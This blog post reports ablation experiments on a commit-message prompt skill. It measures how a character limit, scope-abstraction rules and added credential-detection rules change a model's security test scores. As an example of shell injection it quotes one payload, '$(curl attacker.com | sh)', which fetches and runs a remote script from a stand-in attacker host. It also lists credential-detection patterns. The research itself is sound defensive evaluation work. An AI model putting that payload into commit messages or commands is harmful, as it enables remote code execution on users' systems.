Originally published at faberlens.ai. This is Part 2 — Part 1 here.
In Part 1, we found that epicenter — a skill with zero security rules — outperformed security-focused alternatives on security tests. Our hypothesis: format constraints provide "implicit security."
epicenter achieved +6.0% overall lift despite containing no mentions of credentials, secrets, or security. We hypothesized that its format constraints — particularly the 50-character limit and scope abstraction rules — were doing the heavy lifting.
Hypotheses are cheap. We ran the experiments.
The Hypothesis
Our core claim: format constraints provide implicit security. If true, we should see specific, testable predictions:
- Removing the character limit should hurt shell safety (S4) — longer messages can contain injection patterns
- Removing scope abstraction rules should hurt path sanitization (S5) — the model will include literal file paths
- Adding explicit security rules should improve credential detection (S1) — but may cause over-refusal on safe content
If these predictions hold, we have evidence that epicenter's security comes from structure, not luck. If they don't, our hypothesis is wrong and we need a different explanation.
The Ablation Method
Ablation testing isolates variables by systematically removing them. We created four variants of epicenter, each with one constraint removed or added:
| Variant | Change | Tests Hypothesis |
|---|---|---|
| epicenter-no-limit | Removed "50-72 characters" rule | Character limit → shell safety |
| epicenter-no-scope | Removed scope abstraction guidelines | Abstract scopes → path sanitization |
| epicenter-plus-security | Added explicit credential detection rules | Security rules → over-refusal |
| epicenter-minimal | Kept only core format rules (36 lines) | Core constraints vs verbose guidance |
Each variant was evaluated on relevant security categories using the same protocol: Claude Haiku generation, 3 runs per test.
Result 1: The 50-Character Limit Matters
We removed one line from epicenter:
// Original:
- Keep under 50-72 characters on first line
// Changed to:
- Be as descriptive as needed to fully explain the change
| Variant | S4 Pass Rate | S4 Lift | Delta |
|---|---|---|---|
| epicenter (original) | 83.3% | +20.0% | baseline |
| epicenter-no-limit | 66.7% | +3.3% | -16.7pp |
Removing the character limit dropped S4 lift by 16.7 percentage points. A 50-character commit message significantly reduces the likelihood of shell injection patterns like $(curl attacker.com | sh). The constraint doesn't teach the model what to avoid — it structurally limits the output space available for unsafe patterns.
Result 2: Scope Abstraction Rules Matter
We removed the 19-line "Scope Guidelines" section about using abstract module names instead of specific paths.
| Variant | S5 Pass Rate | S5 Lift | Delta |
|---|---|---|---|
| epicenter (original) | 46.7% | +26.7% | baseline |
| epicenter-no-scope | 16.7% | -3.3% | -30.0pp |
Removing scope abstraction dropped S5 lift by 30 percentage points. The instruction to use "specific component/module names" teaches the model to write feat(auth): instead of feat(/clients/acme-corp/auth.js):. Abstract references naturally exclude sensitive path information.
Result 3: Security Rules Are a Double-Edged Sword
We added explicit security instructions at the top of epicenter:
## CRITICAL: Security Checks Before Committing
STOP and refuse to generate a commit message if you detect:
- API keys (patterns like `sk-`, `api_key`, `API_KEY`)
- AWS credentials (`AKIA`, `aws_access_key`)
- Private keys (`-----BEGIN RSA PRIVATE KEY-----`)
- .env files, credentials.json, secrets.yaml
If detected: Respond with a warning and DO NOT provide a commit message.
The results tell two very different stories:
| Category | epicenter | epicenter-plus-security | Delta |
|---|---|---|---|
| S1: Credential Detection | -10.0% | +33.3% | +43.3pp |
| S3: Git-Crypt Awareness | +30.0% | -30.0% | -60.0pp |
Adding security rules improved credential detection by 43pp but caused complete over-refusal on git-crypt files (-60pp swing). S3 tests whether the model can generate commit messages for git-crypt encrypted files (which are safe to commit). When the skill mentions "encrypted files" as dangerous, the model over-generalizes and refuses all encrypted content — even the safe kind.
Result 4: Less Is More
We stripped epicenter to a 36-line minimal version: just the core format rules.
# Git Commit Message Format
## Rules
- Keep description under 50 characters
- Use imperative mood ("add" not "added")
- No period at the end
- Start description with lowercase
## Types
feat, fix, docs, refactor, test, chore
## Examples
- `feat: add user authentication`
- `fix: resolve login timeout`
| Security Category | epicenter (214 lines) | epicenter-minimal (36 lines) | Winner |
|---|---|---|---|
| S4 (base) | +20.0% | +26.7% | minimal (+6.7pp) |
| S4-adv | +20.0% | +30.0% | minimal (+10.0pp) |
| S5 (base) | +26.7% | +16.7% | epicenter (+10.0pp) |
| S5-adv | +36.7% | +43.3% | minimal (+6.6pp) |
The 36-line minimal version outperformed the 214-line original on 3 of 4 security categories tested.
Verbose instructions may dilute the model's focus on critical constraints. When surrounded by 200 lines of PR formatting guidelines, the 50-character rule is one of many. When it's front and center in a 36-line skill, it dominates.
Note: This finding is specific to security evaluations — we haven't tested whether minimal skills perform equally well on formatting or other quality dimensions.
Adversarial Robustness
Format constraints have another advantage: they're evasion-resistant. Attackers can obfuscate credentials to evade pattern matching. They can't obfuscate a character limit — the constraint is on output, not input.
| Variant | S4 Base | S4 Adversarial | Collapse? |
|---|---|---|---|
| epicenter | +20.0% | +20.0% | None (stable) |
| epicenter-minimal | +26.7% | +30.0% | None (improves) |
Both variants maintain or improve performance on adversarial tests.
What We Learned
- Format constraints provide measurable security. The 50-char limit contributes +16.7pp to shell safety. Scope abstraction contributes +30pp to path sanitization.
- Security rules create trade-offs. They improve credential detection (+43pp) but cause over-refusal on safe content (-60pp).
- Less can be more for security. A 36-line minimal skill outperformed the 214-line original on most security categories tested.
- Constraints are harder to evade. Unlike pattern matching, output constraints are less susceptible to input obfuscation — though not immune.
Implications for Skill Design
If you're building skills, consider:
- Use structural constraints when possible. A character limit is more robust than "don't include shell commands."
- Test before adding security rules. They may hurt more than they help.
- Keep skills focused. Core constraints get diluted in verbose prompts.
- Measure, don't assume. Our intuitions about what works are often wrong.
Limitations
- Results use Claude Haiku — larger models may handle verbose instructions differently
- Security-only evaluation — formatting quality was not tested
- Single domain (commit messages) — patterns may not generalize
- n=5 skills in the original study — ablation adds depth but not breadth
Full methodology and judge rubrics: faberlens.ai/methodology
Part 1 of this series: The AI Skill Quality Crisis
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